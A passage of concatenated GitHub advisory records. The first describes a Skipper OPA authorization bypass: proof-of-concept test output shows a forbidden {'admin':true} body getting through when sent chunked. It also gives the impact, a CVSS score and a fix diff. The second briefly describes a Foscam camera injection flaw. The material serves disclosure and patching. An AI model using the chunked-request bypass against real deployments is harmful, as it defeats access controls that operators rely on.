bundle-name=test\ntime=\"2026-05-28T14:43:47+08:00\" level=info msg=\"OPA instance health updated: healthy=false status=map[bundle:{NOT_READY \\\"\\\"} discovery:{NOT_READY \\\"\\\"} envoy_ext_authz_grpc:{OK \\\"\\\"}]\" bundle-name=test\ntime=\"2026-05-28T14:43:47+08:00\" level=info msg=\"OPA instance health updated: healthy=false status=map[bundle:{NOT_READY \\\"\\\"} discovery:{OK \\\"\\\"} envoy_ext_authz_grpc:{OK \\\"\\\"}]\" bundle-name=test\ntime=\"2026-05-28T14:43:47+08:00\" level=info msg=\"OPA instance health updated: healthy=true status=map[bundle:{OK \\\"\\\"} discovery:{OK \\\"\\\"} envoy_ext_authz_grpc:{OK \\\"\\\"}]\" bundle-name=test\n2026/05/28 14:43:47 route settings applied, id: 1\n    poc_test.go:211: [1: Content-Length benign body -\u003e 200 ALLOW] status=200 upstreamReached=true upstreamBody=\"{\\\"admin\\\":false}\"\n    poc_test.go:211: [2: Content-Length admin body -\u003e 403 DENY (negative control)] status=403 upstreamReached=false upstreamBody=\"\"\n    poc_test.go:211: [3: chunked admin body -\u003e EXPECTED 403, BUG 200 (bypass)] status=200 upstreamReached=true upstreamBody=\"{\\\"admin\\\":true}\"\n    poc_test.go:233: BYPASS CONFIRMED: upstream received {\"admin\":true} despite deny policy (OPA saw empty parsed_body for the chunked request)\n--- PASS: TestSkipperOPABypassPoC (0.11s)\nPASS\nok  \tgithub.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest\t1.897s\n```\n\nTest 1 (Content-Length, benign body) is allowed and reaches upstream with\n`{\"admin\":false}`. Test 2 is the negative control: the same `{\"admin\":true}`\npayload sent with a `Content-Length` header is correctly DENIED (HTTP 403)\nand never reaches the upstream, proving the policy itself is sound. Test 3\nsends the identical forbidden body as `Transfer-Encoding: chunked`; OPA\nevaluates an empty `parsed_body`, the deny rule fails open, the proxy\nreturns HTTP 200, and the upstream receives the full `{\"admin\":true}`\npayload that the policy was configured to block.\n\n### Impact\n\nOperators relying on `opaAuthorizeRequestWithBody` for body-content\nauthorization are silently downgraded to header/path-only authorization\nfor any client that emits chunked or HTTP/2 requests. Concrete\nproduction patterns affected:\n\n- \"Deny when body contains admin/privileged field\" guardrails for\n  multi-tenant or role-stratified APIs;\n- \"Deny when content-moderation flag is present\" filters in front of\n  user-content endpoints;\n- \"Deny when payload schema version is forbidden\" gates for\n  deprecated-API shutdown;\n- \"Deny when SQL/command-injection-shaped string is present\" generic\n  body validators.\n\nIn every case the chunked attack arrives with the forbidden body\nintact, OPA evaluates against an empty document, the policy fails open,\nand the upstream receives the attacker payload that the deployment was\nspecifically configured to block. There is no log signal in OPA\u0027s\ndecision log distinguishing \"body was empty\" from \"client did not send\na body\".\n\nNote that the OPA decision log will record the request as ALLOWED with\n`raw_body` length 0, which complicates post-hoc forensic detection. The\nupstream\u0027s request log will show the full body, producing a confusing\nallow/observed asymmetry across systems.\n\nCVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N` (8.5 HIGH). Scope is\nChanged because the failure crosses the trust boundary between the\nauthorization filter and the upstream service.\n\n### Suggested fix\n\n`filters/openpolicyagent/openpolicyagent.go`:\n\n```diff\n func (opa *OpenPolicyAgentInstance) ExtractHttpBodyOptionally(req *http.Request) (io.ReadCloser, []byte, func(), error) {\n \tbody := req.Body\n \n+\t// `req.ContentLength == -1` is set by net/http when the client uses\n+\t// Transfer-Encoding: chunked (HTTP/1.1) or omits content-length in\n+\t// HTTP/2 framing. Treat unknown-length bodies as up-to-max-bytes and\n+\t// drive fillBuffer with the policy cap instead of the negative\n+\t// sentinel, otherwise the fillBuffer loop short-circuits on its\n+\t// `len \u003c expectedSize` predicate and OPA evaluates an empty body.\n+\texpectedSize := req.ContentLength\n+\tif expectedSize \u003c 0 {\n+\t\texpectedSize = opa.maxBodyBytes\n+\t}\n+\n \tif body != nil \u0026\u0026 !opa.EnvoyPluginConfig().SkipRequestBodyParse \u0026\u0026\n-\t\treq.ContentLength \u003c= int64(opa.maxBodyBytes) {\n+\t\texpectedSize \u003c= int64(opa.maxBodyBytes) {\n \n \t\twrapper := newBufferedBodyReader(req.Body, opa.maxBodyBytes, opa.bodyReadBufferSize)\n \n-\t\trequestedBodyBytes := bodyUpperBound(req.ContentLength, opa.maxBodyBytes)\n+\t\trequestedBodyBytes := bodyUpperBound(expectedSize, opa.maxBodyBytes)\n \t\tif !opa.registry.maxMemoryBodyParsingSem.TryAcquire(requestedBodyBytes) {\n \t\t\treturn req.Body, nil, func() {}, ErrTotalBodyBytesExceeded\n \t\t}\n \n-\t\trawBody, err := wrapper.fillBuffer(req.ContentLength)\n+\t\trawBody, err := wrapper.fillBuffer(expectedSize)\n \t\treturn wrapper, rawBody, func() { opa.registry.maxMemoryBodyParsingSem.Release(requestedBodyBytes) }, err\n \t}\n \n \treturn req.Body, nil, func() {}, nil\n }\n```\n\nAfter the fix, `fillBuffer(maxBodyBytes)` reads chunked bodies up to\nthe configured cap. If the body exceeds the cap, the existing `Read()`\npath already returns the wrapped reader for downstream consumption,\nmatching the documented behaviour for over-cap requests today; the\noperator-configured `maxRequestBodyBytes` continues to be the single\nknob governing memory allocation.\n\nA regression test `TestOpaAuthorizeRequestWithBody_ChunkedBodyIsParsed`\nin `filters/openpolicyagent/opaauthorizerequest/opaauthorizerequest_test.go`\nshould send a `Transfer-Encoding: chunked` request matching a\nblacklist policy and assert HTTP 403, and a same-payload Content-Length\nrequest to confirm parity.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-659f-rgp5-w4wf",
  "modified": "2026-07-08T20:23:44Z",
  "published": "2026-07-08T20:23:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/security/advisories/GHSA-659f-rgp5-w4wf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zalando/skipper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N/E:U/RL:O",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Skipper: opaAuthorizeRequestWithBody filter bypasses OPA policy on Transfer-Encoding \u2014 chunked / HTTP/2 requests"
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-2850"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-29T17:29:00Z",
    "severity": "HIGH"
  },
  "details": "In the web management interface in Foscam C1 Indoor HD cameras with application firmware 2.52.2.37, a specially crafted HTTP request can allow for a user to inject arbitrary characters in the pureftpd.passwd file during a username change, which in turn allows for bypassing chroot restrictions in the FTP server. An attacker can simply send an HTTP request to the device to trigger this vulnerability.",
  "id": "GHSA-665v-8rgp-xwx8",
  "modified": "2022-05-13T01:01:20Z",
  "published": "2022-05-13T01:01:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2850"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2017-0352"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/99184"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}